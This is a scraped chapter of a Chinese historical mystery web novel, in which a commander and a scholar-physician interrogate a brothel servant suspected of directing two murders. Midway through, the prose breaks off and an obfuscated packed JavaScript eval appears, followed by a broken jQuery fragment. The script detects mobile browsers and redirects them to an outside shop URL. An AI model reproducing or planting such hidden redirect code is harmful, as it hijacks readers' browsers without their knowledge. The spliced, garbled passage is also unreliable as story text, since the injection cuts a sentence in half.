默认冷灰
24号文字
方正启体

23. 贰拾叁

作者:猫不皂本书字数:K更新时间:
    昨天早上谎称秦觅说了梦话,的确是诈他,不过是个恶趣味的玩笑,现在梦话却是听得真切。


    或许是此人情态太过可怜,又或许是他跟自己原身有旧,慕天知才一时心软。


    现在却觉得,自己就这么伸手过去有些冲动,想收回手,却被秦觅握得很紧。


    不太想吵醒他,便没有再动了。


    算是为案子考虑。


    自己去审陈茂当然没有问题,人证物证加抓了个现行,不由此人抵赖。


    只不过除了皇帝亲问的案件,涉及民间刑狱案,北镇抚司只有调查权,最终裁判权还在三法司和皇帝那里,慕天知更希望嫌疑人能够主动交代,并且交代得越多越好,才能办成难以被人撼动的铁案。


    让秦觅参与,更有利于审讯,也能方便自己继续观察这位谜一样的秀才。


    这人看起来天真无邪、人畜无害,但身上的疑点很多。


    仅仅是心痹之症就可以放弃大好前程,不再继续念书?


    当初家中到底出了什么意外?


    如果是真心实意做郎中,为何不租个店面开个医馆?是不打算在曜京久居吗?


    难道来曜京,纯是为了寻他的“小烽哥哥”?


    他跟自己的原身到底有什么过往?值得这么刻意惦念?


    如果真的惦念,为何进京后不直接来寻?


    哪怕曾经上过门,遭遇过拒绝,也还说得过去,为何只是保持距离、远远观望?


    以及,一个家乡离曜京颇有距离的百姓之子,如何与景国公世子产生这样深刻的羁绊?


    慕天知端详着秦觅此刻安稳的睡颜,觉得颇有些费解。


    他隐隐有猜测,却并不笃定。


    夜里下过雨,第二天早上天气一片大好,阳光热情地照耀大地,仿佛昨夜的暴风雨只不过是一场幻觉。


    秦觅再醒过来的时候,除了伤处还疼,心脏已经不难受了,身上也不再发冷。


    不冷的原因无他,除了天气炎热外,还因为自己正被一个滚烫的怀抱从背后拥着。


    手被人握着,两只手臂一起搭在腰间。


    显然对方依旧没穿上衣。


    自己也只是穿了件薄薄的中衣。


    一层布料无论如何也挡不住那富有攻击性的体温。


    还有存在感鲜明的……咳咳。


    饶是两人已经有过那么一回事,自己还曾不知所谓地胡乱撩拨过,可这天光大亮的,实在是有些不妥。


    秦觅试图把自己的手抽开,但只是轻轻一动,身后的人明显醒了,不仅立刻松开了他,还当即从床上下去。


    等他转身坐起来的时候,人影都没了。


    秦觅睡眼惺忪地盘腿坐在床上发了会儿呆,回想了昨夜到现在都发生了什么,依旧迷茫。


    为何会这样睡在一起?


    等慕天知再回来的时候,已经衣冠整齐,头上网巾像是重新束过,依旧是一身黑色的曳撒公服,宽肩窄腰,气质绝佳,英俊桀骜的面容配上冒出来的胡茬,有一种野性粗粝的魅力。


    秦觅没有想问原因,但他并不知道,被自己这茫然又纯真的眼神盯着看,对方会有怎样的心理压力。


    慕天知干咳了一声,并没有很想解释,但嘴有自己的想法:“你昨晚说梦话,还嚷着害怕,拉着我的手不放。”


    再加上他几日没有休息好,不知不觉便睡了过去。


    睡着了,四肢就产生了自我意志。


    秀才身上发凉,酷暑夏夜,抱着他像抱着个竹夫人,实在舒服。


    “我又说梦话?”秦觅眯着眼看他,有些不太相信,“这次说了什么?”


    昨晚的梦有些混乱,他记不太清,但总体而言觉得睡得很安稳,不至于说什么梦话。


    这次慕天知就理直气壮了,弯腰凑近他:“喊着小烽哥哥的名字,说害怕——你在怕什么?”


    秦觅:“……”


    他没想到自己还真这么说了,估计是昨晚的殊死搏斗让他想起了一些不愉快的往事。


    但他没打算告诉慕天知,既然对方不记得,那自己说了也没意思。


    “可能怕你太猛,弄疼了我。”秦觅弯着眼,轻易就做出一副在慕天知看来眼波流转、很是勾人的模样。


    尤其满头乌黑长发如瀑布般披下,面色苍白,额头带伤,神情可怜,颈间的四叶草胎记被残留的紫色勒痕遮盖了大半——那勒痕被白皙的皮肤衬得触目惊心,像是尝试过什么刺激的玩法,跟他说的那句话产生了某种怪异的反应。


    慕天知喉结上下一晃,冷笑:“你会怕这个?我看你喜欢得很。”


    现在算是明白了,这秀才是真的不把自己的命当回事,活着就为了折腾。


    图什么呢?


    “身子要是还能动,就起来洗漱,跟我回北镇抚司审陈茂。”他冷冷丢下这话,大步离开卧房。


    到得院中,慕天知以指节做哨,“咻”地吹了几声,很快便有一个都衍卫翻过院墙跳进来,向他抱拳行礼:“大人有何吩咐?”


    “去买些早饭,再弄辆马车过来。”他吩咐道。


    再回到房间中,便见秦觅挽好了发髻,露出纤长脆弱的脖颈,他穿了一件水绿色的圆领袍,同色发带垂下,纤瘦的腰身被腰带束住,整个人清爽如同林中翠竹,显得漂亮又精神。


    慕天知问道:“身体可无碍?”


    “多谢大人及时相救,都是些外伤,没有大碍。”秦觅笑着对他拱手做礼,“金创药比我自己调的伤药见效快些,伤口已经不疼了。”


    “这里,需要遮一遮吗?”慕天知指了指自己的脖子。


    秦觅摇了摇头:“无妨。”


    等见了新鲜热乎的小笼包和豆腐脑,还有宽敞的马车,他就真的是发自内心的感谢了:“大人实在周全,小生惶恐。”


    “吃饱喝足好干活,本官从不亏待手下。”慕天知还分明记着他理直气壮在北镇抚司刑房点菜的模样,不太相信他这客套话。


    秦觅也很想赶紧去跟陈茂理论一番,喝了一小碗豆腐脑,吃了两个小笼包便说饱了,剩下的全推给镇抚使大人打扫战场,很快两人便一起坐上了马车。


    “据我所知,陈茂今年二十四岁,庆平人,因为天生比同龄人身形矮小,从小备受嘲笑。”


    在马车上,秦觅将自己所了解的情况如实道来。


    “或许是有过这样的经历,才能跟霍平拉近距离。”慕天知沉吟道。


    “我想应该是。”秦觅点头道,“在他七八岁的时候,父亲因故得罪了尊长,被驱逐出了宗族,此后族谱上便没了他们一家三口这一脉,他们一家在当地更难安身立命,不得不离开家乡。”


    “陈茂也算命运坎坷,十三岁父母双亡,他卖身葬父,被东篱院的老鸨买了回去,因着其貌不扬、身形又矮,不是做小倌的材料,所幸人还机灵,能识字,又勤快,便留在那里做了龟公。”


    慕天知想了想:“既然如此,他跟傲霜是从小一起长大,更是看着月临长大的?”


    “这些苦命的小孩大抵如此,打小就被卖进南风馆,在没能出头之前,都是挤在一起取暖的小鹌鹑,只是各自学的东西不一样。”秦觅轻声道,“傲霜月临这样的小倌,若是做错了事或者没好好练功,多是举着砖头罚站,毕竟他们的皮相最值钱,老鸨不会伤他们一丝一毫;但龟公们就不一样了,动辄挨打,还会被身强力壮的护院们欺负。”


    “傲霜曾是他们那拨小孩当中最出挑的,是未来院首的苗子,倚仗老鸨对他的另眼相看,他曾多次在棍棒下救出被打得奄奄一息的陈茂,两人间情同兄弟。”


    “情同兄弟?呵。”


    刑房中,头脸上落了伤、手臂伤处包着白布的陈茂跪在地上,听到这话露出一抹冷笑。


    此时的他,已经与平日里那个唯唯诺诺、见人就露出讨好笑意的龟公判若两人,普通得让人过目就忘的眉眼里俱是玉石俱焚的冷漠。


    半个时辰前,秦觅和慕天知一同赶到了北镇抚司,听梅淼还有窦家兄弟汇报了昨晚其他调查结果之后,立刻提审了陈茂。


    陈茂当场被抓,冒雨被押送回北镇抚司,给他疗伤的是戚鸾音,听说下手比较狠——毕竟戚姑娘平日里面对的都是死尸,而尸体是不会呼痛的。


    按照慕天知的安排,他被关在了霍平相邻的牢房。


    根据看守说,最开始霍平惊讶于陈茂也被抓了进来,还怯生生地不敢同他相认,后来便哭天抢地问他有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427061|200885||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没有骗自己,若是死了,到底能不能跟爹娘团聚。


    被当场抓获,又被好一通折腾的陈茂显然心情不怎么样,揭掉了以往与霍平相处时的假面具,再也不是那个和蔼的大哥哥,反而比任何人都能挖苦对方。


    说的那些话连看守都不忍听,生怕霍平暴躁起来闹出意外,便将哭成个大泪人的他带去了隔壁牢房。


    秦觅先去看过他,肿着双眼的傻孩子终于崩溃地向他坦白,指使自己杀人的,就是陈茂。


    他那幻梦破灭的绝望模样,实在令人心如刀割。


    这个可怜人,唯一所求的,不过就是无论天上人间,能再与唯一疼爱自己的父母重新相聚。


    连骗骗他都不行么?


    “怎么?你不觉得你们之间是兄弟之情?”


    再见陈茂,秦觅气上加气,但他知道,面对这种极为自负的人,绝对不能露出半点情绪受其摆布的模样,否则只会让他更加嚣张,于是表现得无比冷静,语调揶揄。


    陈茂并没有回答这个问题,跪在地上仰头看他,唇角勾起一抹笑意:“秦大夫,是我小瞧了你,没想到你会亲自引我上钩,不过,你只能证明我想杀你,但我没杀成,别想把前边几桩命案栽在我身上!”


    接着往旁边一瞥,扫了眼他并排而坐的慕天知,促狭地笑了笑,转回头再看秦觅,笑容中满是狎昵,显得十分猥琐:“你堂堂一名秀才,一个悬壶济世的郎中,居然真的卖屁股给他,自己有何脸面见你的列祖列宗?!”


    慕天知身后站着的窦坤厉声道:“陈茂!身在北镇抚司,敢信口胡言,中伤朝廷命官,不怕大刑伺候?!”


    “我只是转述了秦大夫的话,若论中伤朝廷命官,这帐你们该跟他算,不是吗?”陈茂满不在乎地说。


    慕天知面无表情道:“该怎么和他算账,不劳你操心,你若不喜欢秦秀才的审法,本官也可以让你领教一下北镇抚司的手段。”


    目光不经意地扫过一旁支好的刑架和一排“琳琅满目”、泛着浓重血腥味儿的刑具。


    “陈茂,你不必幻想抵赖,霍平已经把你指使他的事交代得很清楚。”秦觅沉声道,“七月初九凌晨,大雨将至之前,你从后门将他带去东篱院,等傲霜熟睡后,便让霍平将他勒死,并将尸体带至院中,剥掉衣服,任凭大雨冲刷,还在魄门中塞入他的金银珠宝,是不是?!”


    “七月十三凌晨,又是大雨夜,你让霍平趁护院不备,潜入竹影阁,自己从院墙下狗洞钻入与他会合,悄声进入寒柯房间,用同样的手法将他杀害,是不是?”


    秦觅的目光一寸寸从陈茂脸上刮过,想要拆穿他此刻故作镇定的假面具。


    “当夜并非是月临让你去向寒柯借琴,而是你故意提出此事,目的是为了去寒柯那边踩点,恰好听到了我同他和宋喜描述的死状,发觉正合你意,便决定‘采纳’这个想法,不是吗?只不过你双手尚未染血,割下男子器官这种事实在下不了手,便没有完全照做。但在寒柯死后,你狠狠打了他几下耳光,是不是憋了几年的气,终于发泄出来了?”


    陈茂一直默不作声地看着他,此刻眼中划过一抹疑惑,像是惊讶他居然知道此事。


    秦觅冷笑:“你当那么小的事情没人知道?可竹影阁的一名小倌记得清清楚楚,几年前你手脚不干净,去他们那儿送东西的时候,试图顺手牵羊客人的钱袋,被寒柯当场发现。他没有惊动客人,却把你拉到一边打了一通耳光,让你记住绝不能做三只手——”


    “他有什么资格教训我?”陈茂终于按捺不住开了口,“他觉得自己是清倌人就高人一等?早晚还不是要卖屁股?!他一个靠雌伏在男人身下、博取别人欢心来挣钱的人,配吗?!”


    听到“雌伏在男人身下”,慕天知眉头微微一蹙,下意识偏头去看身旁的秦觅。


    秦觅面色如常,像是并未被这话影响到。


    “我俩之间是有过矛盾,但他是高高在上的院首,我怎么敢记恨他?!再说了,厌恶寒柯的人多了去了,谁都可能是凶手!”


    陈茂镇定自若:“秦大夫,你别想将两桩凶案都栽到我头上,我什么都没干过,更不可能指使霍平——一个傻子的证词根本不足信,你凭什么说这些事是我所为?!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)